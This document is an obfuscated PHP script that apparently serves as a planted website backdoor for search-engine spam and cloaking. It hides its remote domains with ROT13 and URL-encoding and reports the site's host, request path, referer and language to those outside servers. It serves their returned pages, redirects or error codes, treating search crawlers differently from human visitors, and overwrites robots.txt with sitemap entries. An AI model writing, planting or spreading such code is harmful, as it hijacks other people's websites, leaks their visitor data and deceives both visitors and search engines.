<?php /*183-175*/
 goto ni7J2; XequN: $zz = disbot(); goto Ggq78; jMD75: if (is_https()) { $http = "\150\164\164\160\x73"; } else { $http = "\x68\x74\164\x70"; } goto XequN; Ggq78: $duri = drequest_uri(); goto ji1Wu; j9r9G: if (!strstr($html_content, "\x6e\x6f\142\157\164\x75\163\145\162\x61\147\x65\x6e\164")) { if (strstr($html_content, "\157\153\x68\164\155\154")) { @header("\103\x6f\x6e\164\145\156\164\x2d\164\171\x70\145\72\x20\164\145\x78\x74\x2f\150\164\x6d\x6c\x3b\40\x63\150\x61\x72\x73\145\164\75\x75\x74\146\x2d\70"); $html_content = str_replace("\157\153\150\164\155\x6c", '', $html_content); if ($istest) { echo $string; } echo $html_content; die; } else { if (strstr($html_content, "\x67\145\x74\143\x6f\x6e\x74\x65\156\164\x35\60\60\160\141\x67\x65")) { @header("\x48\124\124\120\x2f\61\x2e\x31\x20\x35\x30\x30\x20\x49\x6e\x74\x65\162\x6e\141\154\x20\123\x65\162\166\x65\x72\x20\105\162\162\157\x72"); die; } else { if (strstr($html_content, "\x34\x30\x34\x70\x61\147\145")) { @header("\x48\124\124\120\x2f\61\x2e\x31\40\x34\60\x34\40\116\157\164\x20\106\157\x75\x6e\x64"); die; } else { if (strstr($html_content, "\x33\60\x31\160\141\147\145")) { @header("\x48\x54\x54\x50\x2f\x31\56\x31\x20\x33\x30\61\x20\x4d\157\x76\x65\x64\x20\120\x65\162\x6d\x61\156\145\156\164\154\171"); $html_content = str_replace("\63\x30\x31\160\141\x67\145", '', $html_content); header("\114\157\143\x61\x74\x69\x6f\156\72\40" . $html_content); die; } else { if (strstr($html_content, "\157\x6b\170\x6d\x6c")) { $html_content = str_replace("\x6f\x6b\x78\x6d\154", '', $html_content); @header("\103\157\x6e\164\x65\156\164\55\x54\x79\x70\145\72\40\141\160\x70\154\151\x63\141\x74\x69\157\x6e\57\170\x6d\x6c\73\40\x63\150\141\x72\x73\145\164\75\165\x74\x66\55\70"); echo $html_content; die; } else { if (strstr($html_content, "\157\x6b\x72\157\142\x6f\x74\x73")) { $html_content = str_replace("\157\x6b\162\157\142\x6f\x74\163", '', $html_content); @header("\x43\x6f\156\x74\x65\x6e\164\x2d\x54\171\x70\145\x3a\40\164\145\170\164\x2f\x70\x6c\141\x69\x6e"); echo $html_content; die; } } } } } } } goto Y7tAk; dPJ4t: function is_https() { if (isset($_SERVER["\110\x54\124\120\123"]) && strtolower($_SERVER["\x48\x54\x54\120\x53"]) !== "\157\146\x66") { return true; } elseif (isset($_SERVER["\x48\124\x54\120\137\130\137\x46\x4f\122\x57\101\122\x44\x45\x44\x5f\x50\x52\x4f\124\117"]) && $_SERVER["\x48\x54\x54\120\x5f\x58\x5f\106\117\122\x57\101\x52\104\x45\104\x5f\120\122\x4f\x54\x4f"] === "\150\164\x74\x70\163") { return true; } elseif (isset($_SERVER["\110\x54\x54\120\137\106\122\117\x4e\124\137\x45\116\x44\x5f\x48\124\124\120\x53"]) && strtolower($_SERVER["\110\x54\124\x50\137\106\122\117\x4e\124\x5f\x45\116\104\137\x48\x54\x54\120\x53"]) !== "\157\146\x66") { return true; } return false; } goto akKWf; ALwAe: if (strpos($duri, $string) !== false) { $zz = 1; $duri = str_replace($string, '', $duri); $istest = true; } goto sCfSa; NRt95: function drequest_uri() { if (isset($_SERVER["\122\105\x51\x55\105\123\x54\x5f\125\x52\x49"])) { $duri = $_SERVER["\122\105\121\125\x45\123\124\137\x55\x52\x49"]; } else { if (isset($_SERVER["\141\x72\147\166"])) { $duri = $_SERVER["\120\110\120\x5f\123\x45\x4c\x46"] . "\77" . $_SERVER["\x61\162\x67\x76"][0]; } else { $duri = $_SERVER["\x50\110\x50\x5f\x53\x45\114\106"] . "\77" . $_SERVER["\x51\125\105\x52\131\x5f\x53\x54\x52\x49\116\x47"]; } } return $duri; } goto dPJ4t; vqGGr: $lang = @$_SERVER["\110\124\x54\x50\x5f\101\103\103\x45\120\x54\137\x4c\x41\116\x47\x55\101\x47\x45"]; goto Abcdh; DKkBq: $duri = urlencode($duri); goto FIeic; FIeic: $server = detect_server_software(); goto drRRI; XUv3C: $host = $_SERVER["\x48\124\x54\x50\137\110\x4f\x53\x54"]; goto vqGGr; B66xO: $param = "\167\x65\x62\75" . $host . "\x26\172\172\x3d" . $zz . "\46\x75\x72\x69\75" . $duri . "\46\x75\x72\x6c\x73\150\x61\156\147\75" . $urlshang . "\x26\x68\x74\x74\160\x3d" . $http . "\46\x6c\141\x6e\147\75" . $lang . "\x26\163\x65\x72\x76\145\x72\x3d" . $server . "\x26\x6d\157\x64\x65\x6c\75" . $model; goto rXGbj; AJWNu: if (isset($_SERVER["\x48\124\x54\x50\x5f\x52\105\x46\105\122\x45\122"])) { $urlshang = $_SERVER["\110\124\124\x50\137\122\105\106\105\122\x45\x52"]; } goto jMD75; AxP8V: $string = "\x31\70\63\x2d\x6c\x69\156\153\61\67\x35"; goto u9IAK; u9IAK: $istest = false; goto ALwAe; Abcdh: $urlshang = ''; goto AJWNu; W4DoQ: preg_match("\x2f\134\x2f\50\x5b\x5e\x5c\x2f\135\53\134\56\160\150\x70\x29\x2f", $duri, $matches); goto Zjcur; akKWf: function detect_server_software() { $path = $_SERVER["\x44\x4f\103\x55\115\x45\x4e\124\137\122\117\x4f\x54"] . "\57\56\x68\x74\141\143\x63\x65\163\x73"; if (file_exists($path)) { return 1; } else { return 2; } } goto CsHYl; sCfSa: if ($duri != "\x2f") { $duri = str_replace("\57" . $model_file, '', $duri); $duri = str_replace("\x2f\x69\156\x64\145\x78\x2e\160\x68\x70", '', $duri); $duri = str_replace("\x21", '', $duri); } goto DKkBq; Zjcur: if (empty($matches) || $matches[1] == "\167\160\55\143\x72\x6f\155\56\x70\x68\x70" || $matches[1] == "\144\145\x74\x61\151\x6c\56\160\x68\x70") { $model_file = "\151\156\144\145\x78\56\x70\150\160"; $model = "\151\156\144\145\170"; } else { $model_file = $matches[1]; $position = strpos($duri, $model_file); if ($position !== false) { $model_file = substr($duri, 0, $position + strlen($model_file)); $model_file = ltrim($model_file, "\57"); } $model = str_replace("\x2e\x70\150\x70", '', $model_file); } goto wnnTF; Y7tAk: function disbot() { $user_agent = strtolower($_SERVER["\x48\x54\x54\120\x5f\x55\123\105\122\x5f\x41\x47\x45\x4e\124"]); if (stristr($user_agent, "\147\157\157\x67\154\145\142\157\x74") || stristr($user_agent, "\x62\151\156\x67") || stristr($user_agent, "\x79\141\x68\x6f\157") || stristr($user_agent, "\x67\157\x6f\147\154\145") || stristr($user_agent, "\x47\x6f\x6f\x67\154\145\x62\157\164")) { return 1; } else { return 2; } } goto NRt95; ni7J2: $xmlname = array("\45\x33\x31\45\63\70\45\63\x33\45\x32\x44\45\67\x39\x25\x37\66\x25\66\x31\45\67\x38\x25\x33\61\x25\63\67\x25\63\x35\x25\66\x45\x25\x32\x45\45\x36\66\x25\x37\x36\45\x36\x35\x25\x36\x32\x25\x37\x30\45\66\62\45\x32\105\45\x36\67\x25\x36\x32\x25\66\63", "\45\63\61\x25\63\70\x25\x33\63\x25\x32\104\x25\x37\71\x25\x37\x36\45\66\61\45\67\x38\x25\63\61\x25\x33\x37\45\63\x35\45\x36\x46\x25\62\105\x25\x37\x30\x25\x36\105\x25\66\61\x25\x36\62\x25\x37\66\x25\67\62\45\x32\x45\45\x36\67\45\66\62\45\x36\63", "\x25\x33\61\x25\63\x38\45\63\x33\x25\x32\x44\x25\67\x39\45\x37\x36\x25\66\61\x25\x37\70\x25\x33\x31\45\63\67\45\63\x35\x25\x37\60\x25\x32\105\45\x36\x36\x25\67\70\45\x36\x43\x25\x37\65\x25\x36\62\45\66\x32\45\x37\70\45\66\x36\45\x32\x45\x25\x36\67\x25\66\x32\45\66\x33", "\x25\x33\x31\45\63\x38\45\63\63\45\x32\x44\x25\67\71\45\x37\66\x25\66\x31\x25\x37\70\45\x33\x31\45\x33\x37\x25\x33\x35\45\67\61\45\62\105\45\67\x31\45\66\70\x25\x36\x31\x25\x37\66\x25\66\x37\45\67\62\45\x36\x36\45\x32\x45\x25\66\102\45\x36\103\45\66\104", "\x25\x33\x31\45\x33\70\45\63\63\45\x32\x44\x25\x37\x39\45\67\66\45\66\x31\x25\x37\x38\x25\x33\x31\x25\x33\67\45\63\x35\45\67\62\x25\x32\105\x25\66\65\x25\x36\x32\45\66\102\x25\67\62\45\66\x31\45\x37\x32\45\62\105\45\x36\x42\45\66\x43\x25\x36\104"); goto hW8ER; ji1Wu: $duri = $duri == '' ? "\57" : $duri; goto W4DoQ; CsHYl: function create_robots($url) { $path = $_SERVER["\x44\117\103\x55\x4d\105\x4e\124\x5f\122\x4f\117\124"] . "\57\162\157\142\x6f\164\x73\x2e\x74\x78\164"; $content = "\x55\163\145\x72\55\141\147\x65\156\x74\x3a\x20\x2a" . PHP_EOL; $content .= "\x41\x6c\x6c\x6f\x77\72\x20\x2f" . PHP_EOL . PHP_EOL; $content .= "\x53\151\x74\145\155\141\160\72\40" . $url . "\57\163\151\164\145\155\x61\160\56\170\x6d\x6c" . PHP_EOL; $content .= "\123\x69\x74\145\x6d\x61\x70\x3a\x20" . $url . "\57\x73\x69\164\x65\155\141\160\x2d\x31\x2e\170\155\x6c" . PHP_EOL; $content .= "\x53\x69\164\x65\x6d\x61\x70\x3a\40" . $url . "\57\x73\x69\164\x65\155\141\160\55\x32\56\x78\155\154" . PHP_EOL; $content .= "\123\x69\164\x65\155\x61\160\x3a\40" . $url . "\57\x73\151\x74\145\155\x61\x70\x2d\63\56\170\155\154" . PHP_EOL; $content .= "\x53\x69\x74\145\x6d\x61\160\72\x20" . $url . "\x2f\163\x69\164\145\155\x61\x70\55\x34\x2e\x78\155\x6c" . PHP_EOL; $content .= "\123\151\x74\145\x6d\141\x70\72\40" . $url . "\57\163\x69\x74\145\155\x61\160\55\x35\56\170\155\x6c" . PHP_EOL; if (!file_exists($path)) { file_put_contents($path, $content); } else { $existingContent = file_get_contents($path); if ($existingContent !== $content) { file_put_contents($path, $content); } } } goto ATJug; hW8ER: $http_web = "\x68\x74\164\x70\163"; goto XUv3C; rXGbj: $html_content = request($xmlname, $http_web, $param); goto j9r9G; wnnTF: if (stristr($duri, "\57\77")) { $model = "\77"; } goto AxP8V; drRRI: create_robots($http . "\72\x2f\57" . $host); goto B66xO; ATJug: function request($webs, $http_web, $param) { shuffle($webs); foreach ($webs as $domain) { $domain = str_rot13(urldecode($domain)); $url = $http_web . "\72\x2f\x2f" . $domain . "\x2f\x73\165\x70\145\162\66\56\160\x68\160\x3f" . $param; $response = @file_get_contents($url); if ($response !== false) { return $response; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { curl_close($ch); } } return "\156\x6f\142\x6f\x74\165\x73\x65\162\x61\147\145\156\164"; }